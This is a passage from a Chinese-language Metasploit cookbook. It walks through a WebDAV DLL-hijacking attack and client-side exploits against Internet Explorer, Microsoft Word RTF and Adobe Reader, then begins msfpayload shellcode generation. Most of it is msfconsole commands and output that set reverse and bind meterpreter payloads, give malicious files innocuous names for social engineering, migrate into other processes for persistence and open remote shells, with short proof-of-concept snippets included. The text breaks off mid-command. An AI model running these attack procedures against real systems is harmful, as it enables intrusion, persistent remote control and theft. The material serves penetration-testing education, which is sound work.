Samba chain_reply内存损坏漏洞：该漏洞利用代码会损坏Samba 3.3.13以前版本中分配给响应数据包的内存，可通过传递超过目标缓冲区大小的值实现。

Samba trans2open溢出：这是Samba2.2.0版本到 2.2.8版本中普遍存在的一个缓冲区溢出漏洞，其工作原理是利用没有 noexec栈选项的 x86 Linux机器中的漏洞。

3.8 理解Windows DLL注入漏洞

本节将介绍一种特殊类型的漏洞，这种漏洞不直接存在于 Windows 操作系统中，而是存在于 Windows 上运行的各种应用程序软件之中。这种远程攻击方法针对的是应用程序加载外部库时存在的漏洞，下面介绍这类漏洞，以便对其进行深入分析。

准备

这种攻击方法需要创建包含漏洞的目录路径，目标机器需要执行该路径以便激活该漏洞。这个目录可以是文件、提取的文件夹、USB 驱动器或网络共享等。创建的文件本身是完全无害的，但会执行DLL注入漏洞来攻击目标系统。

怎样实现

下面介绍DLL注入漏洞的实现过程。本示例中，目标机器是一个未打补丁的Windows 7 Ultimate机器。工作过程是创建一个链接共享该机器必须访问和执行的文件。随着讲解的深入，读者会对这一过程有更好的理解。

（1）使用exploit/windows/browser/webdav_dll_hijacker模块作为漏洞利用代码，windows/meterpreter/bind_tcp作为攻击载荷，下面对漏洞利用代码和攻击载荷必需的参数进行快速设置。

msf > use exploit/windows/browser/webdav_dll_hijacker

msf　exploit(webdav_dll_hijacker) > set payload windows/

meterpreter/bind_tcp

payload => windows/meterpreter/bind_tcp

msf　exploit(webdav_dll_hijacker) > show options

Module options (exploit/windows/browser/webdav_dll_hijacker):

Name　Current Setting Required Description

----　---------------　--------　-----------

BASENAME　policy　yes　The base name for the listed

EXTENSIONS　txt　yes　The list of extensions

SHARENAME　documentsyes　The name of the top-level

SRVHOST　0.0.0.0　yes　The local host...

SRVPORT　80　yes　The daemon port to listen

SSLCert　no　Path to a custom SSL..

URIPATH　/　yes　The URI to use

Payload options (windows/meterpreter/bind_tcp):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

EXITFUNC　process　yes　Exit technique: seh..

LPORT　4444　yes　The　listen port

RHOST　192.168.56.102　no　The target address

Exploit target:

Id　Name

--　----

0　Automatic

使用漏洞利用代码的各种参数有助于创建特定文件和顶层共享。其中，参数BASENAME包含了要创建的文件名，EXTENSIONS 是待创建文件的类型扩展名，SHARENAME 是待创建用于访问的顶级共享目录，SRVHOST是本地监听主机，SRVPORT是用于对连接进行监听的端口号。

（2）漏洞利用代码和攻击载荷的相应参数设置完成后，执行漏洞利用代码。执行后的情况如下。

msf exploit(webdav_dll_hijacker) > exploit

[*] Exploit running as background job.

[*] Started bind handler

[*]

[*] Exploit links are now available at

\\192.168.56.101\documents\

（3）漏洞利用代码成功执行后，开始对产生的连接进行监听，并提供共享链接。目标打开该链接后将触发漏洞并执行漏洞利用代码，下面切换到目标机器屏幕看会发生哪些情况。

目标机器中包含policy.txt文件，该文件已被攻击者共享，该文件是完全无害的，然而一旦目标用户执行该文件后，就会与攻击方机器建立shell连接，而实际上在目标机器上执行的是DLL文件，此时在msfconsole屏幕上会看到大量活动。DLL成功注入后，将产生一个shell连接（见下图）。

怎样工作

下面分析导致该漏洞的原因。动态链接库（DLL）是微软Windows操作系统中共享库的一种实现。DLL 实际上是与某个特定程序相关的可执行程序，该程序运行时会加载与其相关的DLL共享库。应用程序运行时，loadlibrary()函数将加载运行时必需的DLL，如果待加载DLL的位置没有指定，或者应用程序提供的是非全限定的库路径，Windows就会使用自定义的搜索顺序进行DLL搜索，其中默认搜索位置就是程序的当前工作目录。

目标用户访问共享位置后，就会进入到攻击者控制的区域，这是为什么呢？因为共享文件policy.txt包含非完全限定的DLL路径，目标用户执行该文件时，Windows会按照缺省搜索顺序搜索该 DLL 文件，而由于当前工作目录（/documents）是由攻击者控制的，攻击者就可以在其中添加恶意的 DLL 代码，并由 Windows 操作系统执行（当前工作目录是Windows搜索链接库的缺省位置之一），从而使得攻击者可以执行外部脚本，攻击载荷成功执行后，会在攻击方机器和目标机器之间建立shell连接，攻击者由此获取对目标系统的完全访问权限。以上为该攻击方法的整个过程。

更多

可以使用H. D. Moore开发的一个简单工具来探测DLL注入漏洞。

H. D. Moore的DllHijackAudit工具

Metasploit的创建者H. D. Moore创建了一种安全审计工具，可测试系统环境中是否存在DLL注入漏洞，这是使用Ruby解释器运行的进程监控工具，其工作机理是监控某个DLL文件是否在关联文件的工作目录内被访问。该工具还可以生成测试报告。工具及详细的文档信息可以参见http://blog.metasploit.com/2010/08/better-faster-stronger.html。

第4章 客户端漏洞利用与防病毒软件规避

本章讲解下述内容：

● IE浏览器不安全脚本错误配置漏洞；

● IE浏览器CSS递归调用内存损坏漏洞；

● Microsoft Word RTF栈溢出漏洞；

● Adobe Reader util.printf()缓冲区溢出漏洞；

● 使用msfpayload生成二进制程序和shellcode；

● 使用msfencode规避客户端防病毒软件防护；

● 使用killav.rb脚本禁用防病毒软件；

● 深度解读Killav.rb脚本；

● 从命令行中关闭防病毒服务。

4.1 介绍

在上一章中，集中介绍了对目标操作系统的渗透测试。操作系统是对目标进行渗透的第一层次，因为未打补丁和补丁过期的操作系统很容易被攻击渗透，而不需要再花费时间寻找其他方法进行渗透。但是情况也是变化的，有时候目标网络中的防火墙会阻止扫描数据包，从而防止获取关于目标操作系统或开放端口的任何信息。

还有一种可能是，目标机器有自动升级功能，会定期对操作系统漏洞进行打补丁，从而阻止了对目标机器的攻击行为。类似这样的安全措施可以防止攻击者利用操作系统的已知漏洞来获取对目标机器的访问权限，由此就引出了客户端软件攻击渗透和防病毒软件规避。首先介绍典型的客户端攻击方法。

假定渗透测试人员判断目标机器安装的是Windows XP SP3操作系统并打了补丁，使用 IE7作为默认的浏览器访问Internet和其他Web相关服务。渗透测试人员伪造一个恶意的URL网址，其中包含了一个可执行脚本，具备对某个已知 IE 7漏洞的攻击渗透功能。现在构造一个看起来无害的HTML页面，并创建一个超链接，其中包含前面伪造的URL。接下来，测试人员利用社会工程学手段，将该HTML页面传送给目标用户，并诱使用户点击其中的恶意超链接，由于该链接中包含了对 IE 7漏洞的攻击代码，因此可以触发漏洞并执行恶意代码，从而导致测试人员实现对目标系统的控制，接下来可以进一步地进行设置后门、投放计算机病毒等操作。

发生了什么？尽管目标机器运行的是打了补丁并及时更新的Windows系统，但默认的IE 7浏览器没有及时升级或者被目标用户忽略了，从而使得渗透测试人员可以通过浏览器漏洞攻入目标系统。

刚才介绍的是一个简单的客户端攻击示例，目标机器在不知不觉中执行了一段脚本，该脚本中包含了对目标用户应用软件漏洞的攻击代码，成功执行后，攻击者就成功破坏了系统的安全性。

Metasploit中提供了大量针对几种流行软件的各类型的攻击模块，可用于执行客户端攻击。本章中将涉及的流行应用软件包括 Internet Explorer、Microsoft Office pack、Adobe reader及Flash等，Metasploit模型库中包含了一些针对这些流行软件的攻击模块，我们的目标是利用客户端漏洞成功攻击目标机器，并建立起到目标机器的shell连接。

Metasploit将这种渗透过程分为两个简单的步骤。

（1）针对不同的应用软件目标，生成相应的恶意链接/文件，并在特定端口启动目标反向连接监听进程，之后将恶意链接/文件发送给目标用户。

（2）目标机器执行恶意链接/文件后，就实现了对相应应用软件的攻击渗透，Metasploit会及时将攻击载荷传送给其他Windows进程，以便在目标应用软件崩溃（攻击代码执行导致）或用户关闭应用软件时仍能保持连通性。

对客户端攻击而言，通过这两个步骤就可以实现。本章主要关注Windows操作系统中的一些关键应用软件。首先分析基于浏览器漏洞的客户端攻击，包括 IE 6\7\8等多个版本浏览器中的多个已知的漏洞，以及怎样利用这些漏洞实现对目标机器的攻击渗透，接下来转向另一个流行的应用软件，即Microsoft Office 2003、2007，分析其文档格式漏洞和分析PDF漏洞，以及怎样利用恶意PDF文档攻击目标机器。最后（但并非最不重要）将讨论渗透测试中另一个重要方面，防病毒软件规避，其目标是破坏客户端的防病毒软件防护机制，以便在攻击渗透目标机器时不会触发告警。

本章将介绍Metasploit的全面功能，希望读者会喜欢阅读并实践，下面开始介绍本章的具体内容。

4.2 IE浏览器不安全脚本错误配置漏洞

首先来看一下第一个基于浏览器的客户端攻击。使用客户端攻击模块的基本要素和前面章节中讨论的其他模块是类似的，唯一的差别在于将攻击代码向目标用户的传送过程。与基于操作系统漏洞的攻击不同的是，客户端软件攻击需要人工地在目标机器上执行漏洞利用代码和攻击载荷。这些问题会随着示例演示的进行而更易被理解。

准备

首先启动 msfconsole 并选择相应的漏洞利用代码，其过程与此前各章节中讲述的都是类似的。之后，了解怎样选择用于与目标机器建立shell连接的攻击载荷，接下来的示例演示中将要使用的漏洞利用代码是 exploit/windows/browser/i.e.unsafe scripting。

已知这一漏洞影响 Internet Explorer 6、7，这是Windows XP、2003 Server各版本中的默认浏览器，但在作者安装IE 8（未打补丁）的Windows 7 ultimate 机器上，仍然可以成功利用。

这一漏洞利用代码需要目标机器的 IE浏览器中的 Initialize and script ActiveX controls not marked as safe设置选项被选中时才能发挥作用，启动 IE浏览器并通过Tools | Internet Options | Security | Custom Level | Initialize and script ActiveX controls not marked as safe |Enable这一路径可以找到该选项，如下图所示。

在其他版本的IE浏览器中也可以进行类似设置。本示例将针对两个不同类型的目标，一个运行的是Windows XP SP2、IE 7，另一个运行的是Windows 7、IE 8，下面开始攻击过程。

怎样实现

启动msfconsole并将相应的exploit设置为活跃状态，成功渗透目标后，使用攻击载荷reverse_tcp建立与目标的连接。

msf > use exploit/windows/browser/ie_unsafe_scripting

msf　exploit(ie_unsafe_scripting) > set payload windows/meterpreter/

reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf　exploit(ie_unsafe_scripting) > show options

Module options (exploit/windows/browser/ie_unsafe_scripting):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

SRVHOST　0.0.0.0　yes　The local host to..

SRVPORT　8080　yes　The local port to..

SSL　false　no　Negotiate SSL..

SSLCert　no　Path to a custom SSL..

SSLVersion SSL3　no　Specify the version..

URIPATH　no　The URI to use for..

Payload options (windows/meterpreter/reverse_tcp):

Name　Current Setting　Required　Description

----　---------------　--------　-----------

EXITFUNC　process　yes　Exit technique: seh..

LHOST　yes　The listen address

LPORT　4444　yes　The listen port

Exploit target:

Id　Name

--　----

0　Automatic

msf　exploit(ie_unsafe_scripting) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

漏洞利用代码和攻击载荷都已经设置为活跃状态，且没有对RHOST选项进行设置，因为这是客户端攻击。下面来看一下执行exploit命令的结果。

msf　exploit(ie_unsafe_scripting) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.101:4444

[*] Using URL: http://0.0.0.0:8080/2IGIaOJQB

[*] Local IP: http://192.168.56.101:8080/2IGIaOJQB

[*] Server started.

从结果可以看到，exploit命令生成了一个恶意链接（http://192.168.56.101:8080/2IGIaoJQB），测试人员需要将该链接发送给目标主机，以便对目标主机上的浏览器进行攻击渗透，最后一行“server started”表明已经做好了在 4444端口监测来自目标主机反向连接的准备。首先来分析该链接在目标Windows XP机器上运行的结果。

目标机器浏览器尝试加载该恶意链接指向的页面，但最后没有展示任何内容，而是崩溃或者显示空白页。注意观察msfconsole，会产生如下所示的一些信息。

msf　exploit(ie_unsafe_scripting) > [*] Request received from

192.168.56.102:1080...

[*] Encoding payload into vbs/javascript/html...

[*] Sending exploit html/javascript to 192.168.56.102:1080...

[*] Exe will be uunqgEBHE.exe and must be manually removed from the

%TEMP% directory on the target.

Sending stage (752128 bytes) to 192.168.56.102

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->

192.168.56.102:1081) at 2011-11-12 21:09:26 +0530

目前，已经建立了与目标主机的活跃会话，从命令行输出还可以看出，在目标机器的temp目录下创建了一个可执行文件，该可执行文件是整个攻击渗透过程的执行者。

接下来看一下在安装Windows 7和 IE 8目标机器上点击恶意链接后的结果，如下图所示。

可以看到，点击该链接后，IE 8会弹出一个告警消息提示，点击Allow按钮后，外部脚本就会在目标机器上运行，并导致浏览器崩溃或重启（依赖于系统）。

此时msfconsole报告了如下一些信息。

msf exploit(ie_unsafe_scripting) > [*] Request received from

192.168.56.1:51115...

[*] Encoding payload into vbs/javascript/html...

[*] Sending exploit html/javascript to 192.168.56.1:51115...

[*] Exe will be uddoE.exe and must be manually removed from the %TEMP%

directory on the target.

[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session2opened (192.168.56.101:4444 ->

192.168.56.1:51116) at 2011-11-12 21:15:47 +0530

已经建立了与Windows 7目标机器的活跃会话，接下来在该会话中进行一些交互操作。

msf exploit(ie_unsafe_scripting) > sessions

Active sessions

===============

Id　Type　Information　Connection

--　----　---------------------

1 meterpreter x86/win32　DARKLORD-9CAD38\darklord

2 meterpreter x86/win32　HackingAlert-PC\hackingalert

从结果可以看到，会话命令行展示了当前可用的活跃会话，分别是Win XP机器和Win7机器，下面与Win 7机器会话进行一些交互操作。

msf　exploit(ie_unsafe_scripting) > sessions -i 1

meterpreter > shell

Process 4844 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7264]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

怎样工作

这个漏洞利用的工作过程十分清晰。下面分析导致这一漏洞的原因，当“Initialize and script ActiveX controls not marked safe for scripting”选项被选中时，允许对ActiveX控件WScript.Shell进行访问。WScript.Shell对象提供了读取文件系统、环境变量、读取并修改注册表、快捷方式管理等函数，从而使得攻击者可以利用该控件创建JavaScript脚本与目标机器文件系统进行交互并运行相应命令。

更多

下面介绍另一个重要的浏览器漏洞利用代码，它也可以在客户端攻击中使用。

Internet Explorer Aurora内存损坏

这是另一个广泛利用的 IE 漏洞，大概出现在 2010 年中期。这一漏洞是“Operation Aurora”的核心，攻击者利用这一漏洞攻击过一些顶级公司。Metasploit中对应的攻击模块主要针对 IE 6内存损坏漏洞进行的攻击，现在把这一攻击模块作为练习题留给读者去尝试，具体位置是exploit/windows/browser/ms10_002_aurora。

4.3 IE浏览器CSS递归调用内存损坏漏洞

这是运行 IE 浏览器的 Windows 平台上最新的可用漏洞之一，目前已知该漏洞影响Windows 7和 Windows 2008 server操作系统，默认情况下，这两个系统都使用 IE 8作为浏览器。该漏洞的工作过程与刚才讲过的类似，下面对其进行快速测试，目标机器是Windows 7 ultimate edition，默认安装了 IE 8（未打补丁）。

准备

首先启动msfconsole。漏洞利用代码为exploit/windows/browser/ms11_003_ie_css_import，攻击载荷选择的是windows/meterpreter/bind_tcp，用于建立与目标机器的shell连接。

怎样实现

工作方式与前面讲过的一样。首先选择相应的漏洞利用代码，然后选择攻击载荷，之后对漏洞利用代码和攻击载荷必需的参数进行正确设置。下面展示了在 msfconsole 中进行这些操作。

msf > use exploit/windows/browser/ms11_003_ie_css_import

msf　exploit(ms11_003_ie_css_import) > set payload windows/meterpreter/

reverse_tcp

payload => windows/meterpreter/reverse_tcp

smsf　exploit(ms11_003_ie_css_import) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

msf　exploit(ms11_003_ie_css_import) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.101:4444

[*] Using URL: http://0.0.0.0:8080/K9JqHoWjzyAPji

[*] Local IP: http://192.168.56.101:8080/K9JqHoWjzyAPji

[*] Server started.

从结果可以看到，exploit与payload及各种参数都已经正确设置。执行exploit命令后，攻击模块生成一个本地链接http://192.168.56.101:8080/K9JqHoWjzyAPji，这是包含了攻击代码的恶意链接，需要传送给目标机器，以便目标点击该链接并使用IE浏览器打开。打开后，目标机器的 IE 浏览器将完全“冻结”，并消耗大量的系统资源，目标机器将不得不关闭浏览器。下面是有关msfconsole上的情况。

[*] 192.168.56.1:52175 Received request for "/K9JqHoWjzyAPji/\xEE\x80\

xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\

xA0\xE1\x81\x9A"

[*] 192.168.56.1:52175 Sending

windows/browser/ms11_003_ie_css_import CSS

[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->

192.168.56.1:52176) at 2011-11-15 13:18:17 +0530

[*] Session ID 1 (192.168.56.101:4444 -> 192.168.56.1:52176) processing

InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (5164)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 5220

[+] Successfully migrated to process

在目标浏览器执行攻击代码后，msfconsole上将生成一个会话，并打开了到目标机器的shell连接，不过在建立msf和目标机器之间的shell连接会话之后，实际上还有一些其他操作：InitialAutoRunScript执行了migrate -f命令，该命令的作用是将攻击载荷从 iexplore.exe进程转移给notepad.exe进程。这一操作有助于保持持久连接，即便用户关闭了浏览器，但连通性仍将得以保持，因为shell连接已经转移到另外的进程。

怎样工作

下面深入了解有关这个漏洞的更多信息。该漏洞的名称准确地描述了导致该漏洞的原因，在Windows系统的HTML引擎（mshtml）分析一个多次导入相同CSS文件的HTML页面时，会导致内存损坏从而允许执行任意代码。观察下面的HTML代码段。

// html file

<link href="css.css" rel="stylesheet" type="text/css" />

// css file

*{

　color:red;

}

@import url("css.css");

@import url("css.css");

@import url("css.css");

@import url("css.css");

从上面代码段可以看出，相同的CSS文件共被调用了4次。Mshtml分析该HTML页面时，会导致内存损坏。这一漏洞利用代码结合使用了堆喷洒技术和.NET 2.0的mscorie.dll链接库模块，以便绕过DEP和ASLR等保护机制。由于过度的资源消耗，本漏洞会导致浏览器崩溃。成功利用这一漏洞后，攻击者会获取和已登录用户相同的权限。

上图是点击恶意链接执行攻击代码后的 IE 页面实例，前台图是 Windows 系统的进程管理器，从中可以清晰地看到IE浏览器的过度内存消耗，还需要注意的就是其中有一个notepad.exe进程，虽然系统中没有运行记事本程序，但任务管理器中仍然有相应进程，很显然是因为攻击载荷已经从 iexplorer.exe迁移到notepad.exe，所以此时该进程在后台运行。

更多

使用该攻击模块时会遇到一个常见的错误，下面快速浏览该错误并找到合适的解决方案。

Missing .NET CLR 2.0.50727

使用这一漏洞攻击模块时，可能会产生一条错误消息提示“Target machine does not have the .NET CLR 2.0.50727”，产生这一错误的原因是.Net的问题，主要是因为 IE浏览器没有被设置为默认浏览器，因此 user agent会从非ASLR区域取回地址。将 IE浏览器设置为默认浏览器可避免这一错误发生。

4.4 Microsoft Word RTF栈溢出漏洞

前面两个漏洞示例都是浏览器相关的漏洞，本节将关注的是Windows中另一个常用软件Microsoft Office。RTF栈溢出漏洞在Office 2010和Office 2007版本中都存在。该漏洞存在于Microsoft Word RTF分析器对 pfragments属性的处理过程中，下面会对该漏洞进行详细分析，目标机器是安装适当Office版本的Windows系统。

准备

首先启动msfconsole，本示例中将要演示的漏洞在exploit/windows/fileformat/ms10_087_ rtf_pfragments_bof，要使用的攻击载荷是 windows/meterpreter/reverse_tcp，用于建立于目标的shell连接。

怎样实现

工作过程与前面讲的其他漏洞示例类似，首先设置exploit，然后选择payload，之后设置正确的参数以保证成功执行。开始执行这些操作步骤。

msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

•

msf　exploit(ms10_087_rtf_pfragments_bof) > set payload windows/

meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf　exploit(ms10_087_rtf_pfragments_bof) > show options

Module options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof):

　Name　Current Setting Required　Description

　----　---------------　--------　-----------

　FILENAME　msf.rtf　yes　The file name.

Payload options (windows/meterpreter/reverse_tcp):

　Name　Current Setting Required Description

　----　---------------　--------　-----------

　EXITFUNC　process　yes　Exit technique: seh..

　LHOST　yes　The listen address

　LPORT　4444　yes　The listen port

Exploit target:

　Id　Name

　--　----

　0　Automatic

该漏洞利用代码包含FILENAME参数，其中存放的是创建的恶意文件名称，默认名是msf.rtf，一般需要更改为不太容易引起怀疑的文件名。还需要设置的是LHOST参数值，该参数是攻击方机器的IP地址。

msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME priceinfo.rtf

FILENAME => priceinfo.rtf

msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.56.101

上面的命令将文件名设置为 priceinfo.rtf，LHOST 则设置为 192.168.56.101，这样必要的参数已经设置完毕。

msf exploit(ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'priceinfo.rtf' file ...

[+] priceinfo.rtf stored at /root/.msf4/local/priceinfo.rtf

执行上面的命令后，Metasploit将创建一个用来进行客户端攻击的恶意文件，该文件位于/root/.msf4/local/priceinfo.rtf。下一步通过电子邮件或其他媒介将该文件发送给目标用户，目标用户打开该恶意文件后，会发现打开了word文档，打开数秒后，Microsoft Word实例将挂起或崩溃（取决于不同系统），同时，恶意文件成功执行漏洞利用代码，并建立了到目标主机的活跃会话。为保持该连接的持久性，攻击代码会将控制权限转移到某个后台运行的隐蔽进程。

Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session2opened (192.168.56.101:4444 ->

192.168.56.1:57031) at 2011-11-13 23:16:20 +0530

[*] Session ID2(192.168.56.101:4444 -> 192.168.56.1:57031) processing

InitialAutoRunScript 'migrate -f'

[*] Current server process: WINWORD.EXE (5820)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 5556

[+] Successfully migrated to process

开始的几行命令成功执行漏洞利用代码，并创建了SESSION ID为 2的活跃会话，后面几行命令表明攻击载荷成功地从WINWORD.EXE迁移到notepad.exe。

怎样工作

该漏洞攻击模块创建了一个恶意Word文档，该文档将非法值传递给Word分析器，分析器无法识别非法值从而导致缓冲区溢出。然后攻击载荷开始运行，并建立与攻击方机器的反向连接。这一漏洞攻击是否成功取决于目标机器自身状况，因为Windows ASLR（地址空间布局随机化）会阻止执行任意代码（攻击载荷）。

更多

Office软件还有另外一个流行的漏洞，留给读者作为练习，这里只对其进行简单介绍。

Microsoft Excel 2007缓冲区溢出漏洞

这一已知漏洞针对的是Microsoft Excel 2007（.xlb），执行恶意 xlb文件导致栈溢出并执行任意代码。该漏洞利用代码在exploit/windows/fileformat/ms11_021_xlb_bof。

4.5 Adobe Reader util.printf()缓冲区溢出漏洞

PDF 是一种广泛应用的文档格式，用于共享各种文件和文档，因此经常被攻击者用来攻击目标机器。Adobe Reader是最流行的 PDF文档阅读工具之一，本漏洞存在于 Adobe Reader 8.1.3之前的版本，该漏洞利用代码创建恶意PDF文档，在使用存在本漏洞的Adobe Reader打开时，会导致缓冲区溢出并允许执行任意代码。

准备

该漏洞利用过程与本章中讨论的其他漏洞非常类似。几乎所有客户端攻击的工作方式都是类似的，首先都是生成一个恶意文件/链接，然后以某种方式诱使目标用户在目标机器上执行，因此客户端攻击同时也包含了社会工程学手段。本示例针对的目标机器是 Windows XP SP3，运行Adobe Reader version 8.1。

首先启动 msfconsole，使用 exploit/windows/fileformat/adobe_utilprintf 模块，攻击载荷模块为windows/meterpreter/reverse_tcp。

怎样实现

首先选择漏洞利用代码模块并将其设置为活跃状态，然后选择攻击载荷，接下来传递各种必要的参数值。在msfconsole中完成这些步骤。

msf > use exploit/windows/fileformat/adobe_utilprintf

msf　exploit(adobe_utilprintf) > set payload windows/meterpreter/reverse_

tcp

payload => windows/meterpreter/reverse_tcp

msf　exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

　Name　Current Setting Required Description

　----　---------------　--------　-----------

　FILENAME　msf.pdf　yes　The file name.

Payload options (windows/meterpreter/reverse_tcp):

　Name　Current Setting Required Description

　----　---------------　--------　-----------

　EXITFUNC　process　yes　Exit technique: seh..

　LHOST　yes　The listen address

　LPORT　4444　yes　The listen port

Exploit target:

　Id　Name

　--　----

　0　Adobe Reader v8.1.2 (Windows XP SP3 English)

从结果可以看到，列出的Adobe Reader版本为 8.1.2，操作系统为Windows XP SP3。因此，本漏洞利用代码能否成功执行高度依赖于目标机器使用的操作系统和Adobe Reader软件版本。

该漏洞利用模块包含名为FILENAME的参数，将其设置为默认值，该参数代表的是待创建的恶意 PDF 文档名，将其更改为不容易引起怀疑的文档名称，另外还需要将 LHOST参数设置为攻击方机器的IP地址。

msf　exploit(adobe_utilprintf) > set FILENAME progressreport.pdf

FILENAME => progressreprt.pdf

msf　exploit(adobe_utilprintf) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

现在已经准备就绪，接下来运行exploit命令生成恶意PDF文档以备在客户端攻击时使用。

msf　exploit(adobe_utilprintf) > exploit

[*] Creating 'progressreport.pdf' file...

[+] progressreport.pdf stored at /root/.msf4/local/progressreport.pdf

从结果可以看到，已创建了名为progressreport.pdf的恶意文件，并存储在/root/.msf4/local文件夹中。

本示例将采用一些不同的方法启动用于反向连接的监听器。假定某些情况下必须突然关闭msfconsole，那么怎么继续漏洞利用过程？必须再次创建恶意PDF文档么？答案是不需要。Metasploit中包含特殊的监听器模块，可在msfconsole中启动监听器，以便用于为在客户端攻击中创建但还未使用的恶意文件/链接恢复渗透测试过程。假定已经创建了恶意PDF 文档，但还没用来执行客户端攻击，那么重启 msfconsole，并使用 exploit/multi/handler模块来为反向连接建立监听器。

msf > use exploit/multi/handler

msf　exploit(handler) > show options

Module options (exploit/multi/handler):

　Name　Current Setting Required Description

　----　---------------　--------　-----------

Exploit target:

　Id　Name

　--　----

　0　Wildcard Target

msf　exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf　exploit(handler) > show options

Module options (exploit/multi/handler):

　Name Current Setting Required Description

　----　---------------　--------　-----------

Payload options (windows/meterpreter/reverse_tcp):

　Name　Current Setting Required Description

　----　---------------　--------　-----------

　EXITFUNC　process yes　Exit technique: she..

　LHOST yes　The listen address

　LPORT　4444　yes　The listen port

Exploit target:

　Id　Name

　--　----

　0　Wildcard Target

msf　exploit(handler) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

从结果可以看到，上述代码建立了multi/handler模块，并为其添加了攻击载荷。下一步根据具体需要添加LHOST和LPORT选项，还有一个与multi/handler模块一起运行的额外脚本，将在下一章进行讨论。最后执行exploit命令并启动监听器。

msf　exploit(handler) > exploit

[*] Started reverse handler on 192.168.56.101:4444

现在反向连接监听器已经建立并运行，做好了接收目标机器执行恶意PDF文档并反向连接的准备。

恶意PDF文档在目标机器上执行以后，会导致机器完全“冻结”，Adobe Reader软件也处于完全挂起的状态，即导致目标系统的拒绝服务。之所以会造成系统崩溃，是因为恶意PDF文件引发了缓冲区溢出。攻击成功后，在攻击方机器上可以看到有meterpreter会话启动，并且此时可以对目标机器进行远程操控。

[*] Started reverse handler on 192.168.56.101:4444

[*] Starting the payload handler...

[*] Sending stage (752128 bytes) to 192.168.56.102

[*] Meterpreter session 1 opened (192.168.56.101:4444 ->

192.168.56.102:1035) at 2011-11-25 12:29:36 +0530

meterpreter > shell

Process 1880 created.

Channel 1 created.

Microsoft Windows XP SP3

(C) Copyright 1985-2001 Microsoft Corp.

E:\>

怎样工作

这一漏洞的根源在于某些版本的Adobe Reader软件中 JavaScript函数util.printf()的实现出现了错误。该函数首先将其接收的参数转换为字符串，但只使用最开始的16个数字，其余部分则使用固定值 0（十六进制形式为 0x30）进行填充，如果向该函数传递一个超过长度值上限而又精心设计过的命令，就需要重写程序内存并控制其执行流程。该 Metasploit模块创建特殊定制的 PDF 文档，其中嵌入了对程序内存分配模式进行操控的 JavaScript 代码，并可以触发该漏洞，同时允许攻击者以Adobe Reader应用程序运行者的用户权限执行任意代码。观察PDF中嵌入的这两行JavaScript代码。

var num = 1.2

util.printf("%5000f",num)

这两行简单的JavaScript代码的功能是将字节0x20在栈中复制5000次，从而可以控制异常处理程序，并在尝试写入栈后的内存段时触发异常。

4.6 使用msfpayload生成二进制程序和shellcode

到目前为止，讨论过的很多技术都可以用于在客户端攻击中，对目标机器进行攻击渗透，所有这些技术都涉及到利用目标机器中各种应用程序的漏洞，但是在一些场景中，前面讨论的这些技术无法发挥作用，而为了获取访问权限，必须对一些应用程序软件进行攻击渗透。

Metasploit还具备另一种功能，利用这种功能，也可以执行客户端攻击，而又不必担心对目标机器运行的应用软件的攻击渗透问题。可利用Msfpayload解决这一问题，首先对其进行快速介绍，然后对其进行实践。

Msfpayload是Metasploit的一个命令行实例，可用于生成Metasploit仓库中可用的各种文件类型的shellcode，包括C、Ruby、Raw、Exe、Dll、VBA及War，可以使用msfpayload将Metasploit shellcode转换成为上面这些文件格式中的任意一种，之后将其传送到目标机器上执行后，攻击者将建立起到目标机器的活跃会话。这种方式降低了利用目标机器上应用程序软件漏洞进行攻击的难度，此外，msfpayload另一个优点是可用于生成以特定程序设计语言形式存在的自定义shellcode，例如C、Ruby等，并可用于攻击者自己的漏洞利用程序开发代码中。

Msfpayload 的主要缺点是，其生成的文件在目标机器上执行时很容易被防病毒程序检测出来。接下来继续介绍msfpayload在渗透测试过程中所起到的作用。

准备

首先启动BackTrack终端，然后使用msfpayload –h命令查看其用法。

root@bt:~# msfpayload -h

　Usage: /opt/framework3/msf3/msfpayload [<options>] <payload>

[var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>

使用msfpayload –l命令，查看可用的shellcode列表，执行后可以得到一个容量很大的可用shellcode列表。

怎样实现

下面介绍怎样生成特定的、自定义的、C语言形式的shellcode。

下面使用攻击载荷windows/shell/reverse_tcp生成其C语言形式的shellcode，首先选取相应的攻击载荷并传递各种必要的参数值。

root@bt:~# msfpayload windows/shell/reverse_tcp o

　Name: Windows Command Shell, Reverse TCP Stager

　Module: payload/windows/shell/reverse_tcp

　Version: 10394, 11421

　Platform: Windows

　　Arch: x86

Needs Admin: No

　Total size: 290

　　Rank: Normal

Basic options:

Name　Current Setting Required Description

----　---------------　--------　-----------

EXITFUNC　process　yes　Exit technique: seh..

LHOST　yes　The listen address

LPORT　4444　yes　The listen port

要注意shellcode攻击载荷各种参数命令行中的o参数。要生成自定义形式的shellcode，必须传递该值。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101

